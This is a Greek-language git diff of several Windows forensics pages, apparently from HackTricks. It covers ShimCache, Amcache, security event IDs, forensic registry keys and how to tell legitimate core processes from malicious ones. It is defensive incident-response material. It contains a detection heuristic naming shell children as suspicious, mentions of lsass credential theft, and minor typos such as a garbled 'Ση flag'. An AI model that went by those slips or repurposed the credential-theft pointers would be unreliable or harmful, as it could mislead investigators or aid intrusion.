### AppCompatCache (ShimCache)
Το **AppCompatCache**, γνωστό και ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
- Πλήρης διαδρομή του αρχείου
- Μέγεθος του αρχείου
- Τελευταία τροποποίηση κάτω από **$Standard_Information** (SI)
- Τελευταία ενημέρωση του ShimCache
- Ση flag εκτέλεσης διαδικασίας
Τέτοιες πληροφορίες αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες ανάλογα με την έκδοση του λειτουργικού συστήματος:
- Για XP, τα δεδομένα αποθηκεύονται κάτω από `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών.
- Για Server 2003, καθώς και για τις εκδόσεις Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, φιλοξενώντας 512 και 1024 εγγραφές, αντίστοιχα.
Για να αναλύσετε τις αποθηκευμένες πληροφορίες, προτείνεται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
![](<../../../images/image (488).png>)
### Amcache
Το αρχείο **Amcache.hve** είναι ουσιαστικά μια κυψέλη μητρώου που καταγράφει λεπτομέρειες σχετικά με τις εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`.
Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Μεταξύ των παραγόμενων αρχείων CSV, το `Amcache_Unassociated file entries` είναι ιδιαίτερα αξιοσημείωτο λόγω των πλούσιων πληροφοριών που παρέχει σχετικά με τις μη συσχετισμένες καταχωρίσεις αρχείων.
Το πιο ενδιαφέρον αρχείο CVS που παραγένεται είναι το `Amcache_Unassociated file entries`.
### RecentFileCache
Αυτό το αποδεικτικό μπορεί να βρεθεί μόνο σε W7 στο `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων.
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο.
### Προγραμματισμένα καθήκοντα
Μπορείτε να τα εξάγετε από `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τα διαβάσετε ως XML.
### Υπηρεσίες
Μπορείτε να τις βρείτε στο μητρώο κάτω από `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι πρόκειται να εκτελεστεί και πότε.
### **Windows Store**
Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στο `\ProgramData\Microsoft\Windows\AppRepository\`\
Αυτό το αποθετήριο έχει ένα **log** με **κάθε εγκατεστημένη** εφαρμογή στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**.
Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή τα IDs των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικά.
Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Και **απεγκατεστημένων** **εφαρμογών** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows Events
Οι πληροφορίες που εμφανίζονται μέσα στα Windows events είναι:
- Τι συνέβη
- Χρονική σήμανση (UTC + 0)
- Χρήστες που εμπλέκονται
- Φιλοξενούμενοι που εμπλέκονται (hostname, IP)
- Περιουσιακά στοιχεία που προσπελάστηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες)
Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την **.evtx** επέκταση.
Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Μπορούν να οπτικοποιηθούν από τον Windows Event Viewer (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Κατανόηση της Καταγραφής Γεγονότων Ασφαλείας των Windows
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την χωρητικότητα του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία.
### Κύριοι Κωδικοί Γεγονότων για Αυθεντικοποίηση Χρηστών:
- **EventID 4624**: Υποδεικνύει ότι ένας χρήστης αυθεντικοποιήθηκε επιτυχώς.
- **EventID 4625**: Σηματοδοτεί αποτυχία αυθεντικοποίησης.
- **EventIDs 4634/4647**: Αντιπροσωπεύουν γεγονότα αποσύνδεσης χρηστών.
- **EventID 4672**: Υποδηλώνει σύνδεση με διαχειριστικά δικαιώματα.
#### Υποτύποι εντός του EventID 4634/4647:
- **Interactive (2)**: Άμεση σύνδεση χρήστη.
- **Network (3)**: Πρόσβαση σε κοινόχρηστους φακέλους.
- **Batch (4)**: Εκτέλεση παρτίδων διαδικασιών.
- **Service (5)**: Εκκινήσεις υπηρεσιών.
- **Proxy (6)**: Αυθεντικοποίηση μέσω proxy.
- **Unlock (7)**: Ξεκλείδωμα οθόνης με κωδικό πρόσβασης.
- **Network Cleartext (8)**: Μετάδοση κωδικού πρόσβασης σε καθαρό κείμενο, συχνά από IIS.
- **New Credentials (9)**: Χρήση διαφορετικών διαπιστευτηρίων για πρόσβαση.
- **Remote Interactive (10)**: Σύνδεση μέσω απομακρυσμένης επιφάνειας εργασίας ή υπηρεσιών τερματικού.
- **Cache Interactive (11)**: Σύνδεση με αποθηκευμένα διαπιστευτήρια χωρίς επαφή με τον ελεγκτή τομέα.
- **Cache Remote Interactive (12)**: Απομακρυσμένη σύνδεση με αποθηκευμένα διαπιστευτήρια.
- **Cached Unlock (13)**: Ξεκλείδωμα με αποθηκευμένα διαπιστευτήρια.
#### Κωδικοί Κατάστασης και Υποκατάστασης για το EventID 4625:
- **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδηλώνει επίθεση αναγνώρισης ονόματος χρήστη.
- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψιάς κωδικού ή brute-force.
- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδώσει - Μπορεί να ακολουθεί μια επίθεση brute-force που έχει ως αποτέλεσμα πολλές αποτυχημένες συνδέσεις.
- **0xC0000072**: Ο λογαριασμός έχει απενεργοποιηθεί - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς.
- **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδηλώνει απόπειρες πρόσβασης εκτός των καθορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης.
- **0xC0000070**: Παράβαση περιορισμών σταθμού εργασίας - Μπορεί να είναι απόπειρα σύνδεσης από μη εξουσιοδοτημένη τοποθεσία.
- **0xC0000193**: Λήξη λογαριασμού - Απόπειρες πρόσβασης με λογαριασμούς χρηστών που έχουν λήξει.
- **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης.
- **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket.
- **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού.
- **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας.
- **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας.
#### EventID 4616:
- **Αλλαγή Χρόνου**: Τροποποίηση του συστήματος χρόνου, μπορεί να θολώσει τη χρονολογία των γεγονότων.
#### EventID 6005 και 6006:
- **Εκκίνηση και Τερματισμός Συστήματος**: Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 το τερματισμό του.
#### EventID 1102:
- **Διαγραφή Log**: Καθαρισμός των ασφαλιστικών logs, που συχνά είναι κόκκινη σημαία για κάλυψη παράνομων δραστηριοτήτων.
#### EventIDs για Παρακολούθηση Συσκευών USB:
- **20001 / 20003 / 10000**: Πρώτη σύνδεση συσκευής USB.
- **10100**: Ενημέρωση οδηγού USB.
- **EventID 112**: Χρόνος εισαγωγής συσκευής USB.
Για πρακτικά παραδείγματα σχετικά με την προσομοίωση αυτών των τύπων σύνδεσης και ευκαιριών εξαγωγής διαπιστευτηρίων, ανατρέξτε στον [αναλυτικό οδηγό της Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Λεπτομέρειες γεγονότων, συμπεριλαμβανομένων των κωδικών κατάστασης και υποκατάστασης, παρέχουν περαιτέρω πληροφορίες σχετικά με τις αιτίες των γεγονότων, ιδιαίτερα αξιοσημείωτες στο Event ID 4625.
### Ανάκτηση Γεγονότων Windows
Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. **Bulk_extractor**, ένα εργαλείο ανάκτησης που προσδιορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων.
### Αναγνώριση Κοινών Επιθέσεων μέσω Γεγονότων Windows
Για έναν ολοκληρωμένο οδηγό σχετικά με τη χρήση των Windows Event IDs στην αναγνώριση κοινών κυβερνοεπιθέσεων, επισκεφθείτε τον [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Επιθέσεις Brute Force
Αναγνωρίσιμες από πολλαπλές καταγραφές EventID 4625, ακολουθούμενες από ένα EventID 4624 αν η επίθεση είναι επιτυχής.
#### Αλλαγή Χρόνου
Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την ανάλυση εγκληματολογίας.
#### Παρακολούθηση Συσκευών USB
Χρήσιμα System EventIDs για την παρακολούθηση συσκευών USB περιλαμβάνουν 20001/20003/10000 για αρχική χρήση, 10100 για ενημερώσεις οδηγών και EventID 112 από το DeviceSetupManager για χρονικές σφραγίδες εισαγωγής.
#### Γεγονότα Ικανότητας Συστήματος
Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον τερματισμό.
#### Διαγραφή Log
Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή των logs, ένα κρίσιμο γεγονός για την ανάλυση εγκληματολογίας.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,101 +0,0 @@
# Ενδιαφέροντα Κλειδιά Μητρώου Windows
### Ενδιαφέροντα Κλειδιά Μητρώου Windows
{{#include ../../../banners/hacktricks-training.md}}
### **Πληροφορίες Έκδοσης και Ιδιοκτήτη Windows**
- Βρίσκεται στο **`Software\Microsoft\Windows NT\CurrentVersion`**, θα βρείτε την έκδοση των Windows, το Service Pack, τον χρόνο εγκατάστασης και το όνομα του καταχωρημένου ιδιοκτήτη με σαφή τρόπο.
### **Όνομα Υπολογιστή**
- Το όνομα υπολογιστή βρίσκεται κάτω από **`System\ControlSet001\Control\ComputerName\ComputerName`**.
### **Ρύθμιση Ζώνης Ώρας**
- Η ζώνη ώρας του συστήματος αποθηκεύεται στο **`System\ControlSet001\Control\TimeZoneInformation`**.
### **Παρακολούθηση Χρόνου Πρόσβασης**
- Από προεπιλογή, η παρακολούθηση του τελευταίου χρόνου πρόσβασης είναι απενεργοποιημένη (**`NtfsDisableLastAccessUpdate=1`**). Για να την ενεργοποιήσετε, χρησιμοποιήστε:
`fsutil behavior set disablelastaccess 0`
### Εκδόσεις Windows και Service Packs
- Η **έκδοση Windows** υποδεικνύει την έκδοση (π.χ., Home, Pro) και την κυκλοφορία της (π.χ., Windows 10, Windows 11), ενώ τα **Service Packs** είναι ενημερώσεις που περιλαμβάνουν διορθώσεις και, μερικές φορές, νέες δυνατότητες.
### Ενεργοποίηση Χρόνου Τελευταίας Πρόσβασης
- Η ενεργοποίηση της παρακολούθησης του τελευταίου χρόνου πρόσβασης σας επιτρέπει να δείτε πότε άνοιξαν τελευταία τα αρχεία, κάτι που μπορεί να είναι κρίσιμο για την εγκληματολογική ανάλυση ή την παρακολούθηση του συστήματος.
### Λεπτομέρειες Πληροφοριών Δικτύου
- Το μητρώο περιέχει εκτενή δεδομένα σχετικά με τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, που είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας δικτύου και των δικαιωμάτων.
### Client Side Caching (CSC)
- **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης αποθηκεύοντας αντίγραφα κοινών αρχείων. Διαφορετικές ρυθμίσεις **CSCFlags** ελέγχουν πώς και ποια αρχεία αποθηκεύονται στην κρυφή μνήμη, επηρεάζοντας την απόδοση και την εμπειρία του χρήστη, ειδικά σε περιβάλλοντα με διαλείπουσα συνδεσιμότητα.
### Προγράμματα AutoStart
- Τα προγράμματα που αναφέρονται σε διάφορα κλειδιά μητρώου `Run` και `RunOnce` εκκινούν αυτόματα κατά την εκκίνηση, επηρεάζοντας τον χρόνο εκκίνησης του συστήματος και ενδεχομένως αποτελώντας σημεία ενδιαφέροντος για την αναγνώριση κακόβουλου λογισμικού ή ανεπιθύμητου λογισμικού.
### Shellbags
- **Shellbags** όχι μόνο αποθηκεύουν προτιμήσεις για τις προβολές φακέλων αλλά παρέχουν επίσης εγκληματολογικά στοιχεία πρόσβασης φακέλων ακόμη και αν ο φάκελος δεν υπάρχει πια. Είναι ανεκτίμητα για τις έρευνες, αποκαλύπτοντας δραστηριότητα χρηστών που δεν είναι προφανής μέσω άλλων μέσων.
### Πληροφορίες USB και Εγκληματολογία
- Οι λεπτομέρειες που αποθηκεύονται στο μητρώο σχετικά με τις συσκευές USB μπορούν να βοηθήσουν στην ανίχνευση ποια συσκευές συνδέθηκαν σε έναν υπολογιστή, ενδεχομένως συνδέοντας μια συσκευή με ευαίσθητες μεταφορές αρχείων ή περιστατικά μη εξουσιοδοτημένης πρόσβασης.
### Αριθμός Σειράς Τόμου
- Ο **Αριθμός Σειράς Τόμου** μπορεί να είναι κρίσιμος για την παρακολούθηση της συγκεκριμένης περίπτωσης ενός συστήματος αρχείων, χρήσιμο σε εγκληματολογικά σενάρια όπου πρέπει να καθοριστεί η προέλευση ενός αρχείου σε διάφορες συσκευές.
### **Λεπτομέρειες Τερματισμού**
- Ο χρόνος και ο αριθμός τερματισμού (ο τελευταίος μόνο για XP) διατηρούνται στο **`System\ControlSet001\Control\Windows`** και **`System\ControlSet001\Control\Watchdog\Display`**.
### **Ρύθμιση Δικτύου**
- Για λεπτομερείς πληροφορίες διεπαφής δικτύου, ανατρέξτε στο **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
- Οι πρώτοι και τελευταίοι χρόνοι σύνδεσης δικτύου, συμπεριλαμβανομένων των συνδέσεων VPN, καταγράφονται κάτω από διάφορες διαδρομές στο **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
### **Κοινόχρηστοι Φάκελοι**
- Οι κοινόχρηστοι φάκελοι και οι ρυθμίσεις βρίσκονται κάτω από **`System\ControlSet001\Services\lanmanserver\Shares`**. Οι ρυθμίσεις Client Side Caching (CSC) καθορίζουν τη διαθεσιμότητα αρχείων εκτός σύνδεσης.
### **Προγράμματα που Ξεκινάνε Αυτόματα**
- Διαδρομές όπως **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** και παρόμοιες καταχωρήσεις κάτω από `Software\Microsoft\Windows\CurrentVersion` περιγράφουν προγράμματα που έχουν ρυθμιστεί να εκκινούν κατά την εκκίνηση.
### **Αναζητήσεις και Πληκτρολογημένες Διαδρομές**
- Οι αναζητήσεις του Explorer και οι πληκτρολογημένες διαδρομές παρακολουθούνται στο μητρώο κάτω από **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** για WordwheelQuery και TypedPaths, αντίστοιχα.
### **Πρόσφατα Έγγραφα και Αρχεία Office**
- Τα πρόσφατα έγγραφα και τα αρχεία Office που έχουν προσπελαστεί σημειώνονται στο `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` και σε συγκεκριμένες διαδρομές έκδοσης Office.
### **Πιο Πρόσφατα Χρησιμοποιούμενα (MRU) Στοιχεία**
- Οι λίστες MRU, που υποδεικνύουν πρόσφατες διαδρομές αρχείων και εντολές, αποθηκεύονται σε διάφορα υποκλειδιά `ComDlg32` και `Explorer` κάτω από `NTUSER.DAT`.
### **Παρακολούθηση Δραστηριότητας Χρήστη**
- Η δυνατότητα User Assist καταγράφει λεπτομερείς στατιστικές χρήσης εφαρμογών, συμπεριλαμβανομένου του αριθμού εκτελέσεων και του τελευταίου χρόνου εκτέλεσης, στο **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
### **Ανάλυση Shellbags**
- Τα Shellbags, που αποκαλύπτουν λεπτομέρειες πρόσβασης φακέλων, αποθηκεύονται στο `USRCLASS.DAT` και `NTUSER.DAT` κάτω από `Software\Microsoft\Windows\Shell`. Χρησιμοποιήστε **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** για ανάλυση.
### **Ιστορικό Συσκευών USB**
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** και **`HKLM\SYSTEM\ControlSet001\Enum\USB`** περιέχουν πλούσιες λεπτομέρειες σχετικά με τις συνδεδεμένες συσκευές USB, συμπεριλαμβανομένου του κατασκευαστή, του ονόματος προϊόντος και των χρονικών σημείων σύνδεσης.
- Ο χρήστης που σχετίζεται με μια συγκεκριμένη συσκευή USB μπορεί να προσδιοριστεί αναζητώντας τις βάσεις `NTUSER.DAT` για το **{GUID}** της συσκευής.
- Η τελευταία τοποθετημένη συσκευή και ο αριθμός σειράς τόμου της μπορούν να ανιχνευθούν μέσω `System\MountedDevices` και `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, αντίστοιχα.
Αυτός ο οδηγός συμπυκνώνει τις κρίσιμες διαδρομές και μεθόδους για την πρόσβαση σε λεπτομερείς πληροφορίες συστήματος, δικτύου και δραστηριότητας χρηστών σε συστήματα Windows, στοχεύοντας στην καθαρότητα και τη χρηστικότητα.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,106 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
## smss.exe
**Διαχειριστής Συνεδρίας**.\
Η Συνεδρία 0 ξεκινά **csrss.exe** και **wininit.exe** (**υπηρεσίες** **OS**) ενώ η Συνεδρία 1 ξεκινά **csrss.exe** και **winlogon.exe** (**συνεδρία** **χρήστη**). Ωστόσο, θα πρέπει να δείτε **μόνο μία διαδικασία** αυτού του **δυαδικού** χωρίς παιδιά στο δέντρο διαδικασιών.
Επίσης, οι συνεδρίες εκτός από τις 0 και 1 μπορεί να σημαίνουν ότι συμβαίνουν συνεδρίες RDP.
## csrss.exe
**Διαδικασία Υποσυστήματος Πελάτη/Διακομιστή**.\
Διαχειρίζεται **διαδικασίες** και **νήματα**, καθιστά διαθέσιμη την **API** **Windows** για άλλες διαδικασίες και επίσης **χαρτογραφεί γράμματα δίσκων**, δημιουργεί **temp αρχεία** και χειρίζεται τη διαδικασία **τερματισμού**.
Υπάρχει μία **που εκτελείται στη Συνεδρία 0 και άλλη μία στη Συνεδρία 1** (έτσι **2 διαδικασίες** στο δέντρο διαδικασιών). Μία άλλη δημιουργείται **ανά νέα Συνεδρία**.
## winlogon.exe
**Διαδικασία Σύνδεσης Windows**.\
Είναι υπεύθυνη για τη **σύνδεση**/**αποσύνδεση** του χρήστη. Εκκινεί το **logonui.exe** για να ζητήσει όνομα χρήστη και κωδικό πρόσβασης και στη συνέχεια καλεί το **lsass.exe** για να τα επαληθεύσει.
Στη συνέχεια, εκκινεί το **userinit.exe** που καθορίζεται στο **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** με κλειδί **Userinit**.
Επιπλέον, η προηγούμενη μητρώο θα πρέπει να έχει **explorer.exe** στο **κλειδί Shell** ή μπορεί να κακοποιηθεί ως μέθοδος **επιμονής κακόβουλου λογισμικού**.
## wininit.exe
**Διαδικασία Αρχικοποίησης Windows**. \
Εκκινεί **services.exe**, **lsass.exe** και **lsm.exe** στη Συνεδρία 0. Θα πρέπει να υπάρχει μόνο 1 διαδικασία.
## userinit.exe
**Εφαρμογή Σύνδεσης Userinit**.\
Φορτώνει το **ntduser.dat στο HKCU** και αρχικοποιεί το **περιβάλλον** **χρήστη** και εκτελεί **σενάρια** **σύνδεσης** και **GPO**.
Εκκινεί το **explorer.exe**.
## lsm.exe
**Διαχειριστής Τοπικής Συνεδρίας**.\
Δουλεύει με το smss.exe για να χειριστεί τις συνεδρίες χρηστών: Σύνδεση/αποσύνδεση, εκκίνηση κελύφους, κλείδωμα/ξεκλείδωμα επιφάνειας εργασίας, κ.λπ.
Μετά το W7, το lsm.exe μετατράπηκε σε υπηρεσία (lsm.dll).
Θα πρέπει να υπάρχει μόνο 1 διαδικασία στο W7 και από αυτές μια υπηρεσία που εκτελεί τη DLL.
## services.exe
**Διαχειριστής Ελέγχου Υπηρεσιών**.\
Φορτώνει **υπηρεσίες** που έχουν ρυθμιστεί ως **αυτόματη εκκίνηση** και **οδηγούς**.
Είναι η γονική διαδικασία του **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** και πολλών άλλων.
Οι υπηρεσίες ορίζονται στο `HKLM\SYSTEM\CurrentControlSet\Services` και αυτή η διαδικασία διατηρεί μια βάση δεδομένων στη μνήμη με πληροφορίες υπηρεσιών που μπορούν να ερωτηθούν από το sc.exe.
Σημειώστε πώς **ορισμένες** **υπηρεσίες** θα εκτελούνται σε **δική τους διαδικασία** και άλλες θα **μοιράζονται μια διαδικασία svchost.exe**.
Θα πρέπει να υπάρχει μόνο 1 διαδικασία.
## lsass.exe
**Υποσύστημα Τοπικής Ασφάλειας**.\
Είναι υπεύθυνο για την **αυθεντικοποίηση** του χρήστη και τη δημιουργία των **ασφαλιστικών** **token**. Χρησιμοποιεί πακέτα αυθεντικοποίησης που βρίσκονται στο `HKLM\System\CurrentControlSet\Control\Lsa`.
Γράφει στο **ημερολόγιο** **ασφαλείας** και θα πρέπει να υπάρχει μόνο 1 διαδικασία.
Λάβετε υπόψη ότι αυτή η διαδικασία είναι πολύ επιρρεπής σε επιθέσεις για την εξαγωγή κωδικών πρόσβασης.
## svchost.exe
**Γενική Διαδικασία Φιλοξενίας Υπηρεσιών**.\
Φιλοξενεί πολλαπλές υπηρεσίες DLL σε μία κοινή διαδικασία.
Συνήθως, θα διαπιστώσετε ότι το **svchost.exe** εκκινείται με την παράμετρο `-k`. Αυτό θα εκκινήσει ένα ερώτημα στο μητρώο **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** όπου θα υπάρχει ένα κλειδί με το επιχείρημα που αναφέρεται στο -k που θα περιέχει τις υπηρεσίες που θα εκκινηθούν στην ίδια διαδικασία.
Για παράδειγμα: `-k UnistackSvcGroup` θα εκκινήσει: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
Εάν η **παράμετρος `-s`** χρησιμοποιείται επίσης με ένα επιχείρημα, τότε ζητείται από το svchost να **εκκινήσει μόνο την καθορισμένη υπηρεσία** σε αυτό το επιχείρημα.
Θα υπάρχουν πολλές διαδικασίες του `svchost.exe`. Εάν καμία από αυτές **δεν χρησιμοποιεί την παράμετρο `-k`**, τότε αυτό είναι πολύ ύποπτο. Εάν διαπιστώσετε ότι **services.exe δεν είναι η γονική διαδικασία**, αυτό είναι επίσης πολύ ύποπτο.
## taskhost.exe
Αυτή η διαδικασία λειτουργεί ως φιλοξενούσα για διαδικασίες που εκτελούνται από DLLs. Φορτώνει επίσης τις υπηρεσίες που εκτελούνται από DLLs.
Στο W8 αυτό ονομάζεται taskhostex.exe και στο W10 taskhostw.exe.
## explorer.exe
Αυτή είναι η διαδικασία που είναι υπεύθυνη για την **επιφάνεια εργασίας του χρήστη** και την εκκίνηση αρχείων μέσω επεκτάσεων αρχείων.
**Μόνο 1** διαδικασία θα πρέπει να δημιουργείται **ανά χρήστη που έχει συνδεθεί.**
Αυτό εκτελείται από το **userinit.exe** το οποίο θα πρέπει να τερματιστεί, έτσι **κανένας γονέας** δεν θα πρέπει να εμφανίζεται για αυτή τη διαδικασία.
# Ανίχνευση Κακόβουλων Διαδικασιών
- Εκτελείται από την αναμενόμενη διαδρομή; (Καμία δυαδική Windows δεν εκτελείται από προσωρινή τοποθεσία)
- Επικοινωνεί με περίεργες IP;
- Ελέγξτε τις ψηφιακές υπογραφές (τα αρχεία της Microsoft θα πρέπει να είναι υπογεγραμμένα)
- Είναι σωστά γραμμένο;
- Εκτελείται υπό την αναμενόμενη SID;
- Είναι η γονική διαδικασία η αναμενόμενη (αν υπάρχει);
- Είναι οι διαδικασίες παιδιών οι αναμενόμενες; (κανένα cmd.exe, wscript.exe, powershell.exe..?)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,5 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Generic Windows Artifacts
@ -20,13 +18,13 @@
### ADS (Alternate Data Streams)
Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκαν από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από το οποίο κατέβηκε το αρχείο.
Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκε από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από όπου κατέβηκε το αρχείο.
## **File Backups**
### Recycle Bin
Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\
Στο Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\
Όταν διαγράφεται ένα αρχείο σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία:
- `$I{id}`: Πληροφορίες αρχείου (η ημερομηνία που διαγράφηκε)
@ -40,15 +38,15 @@
```
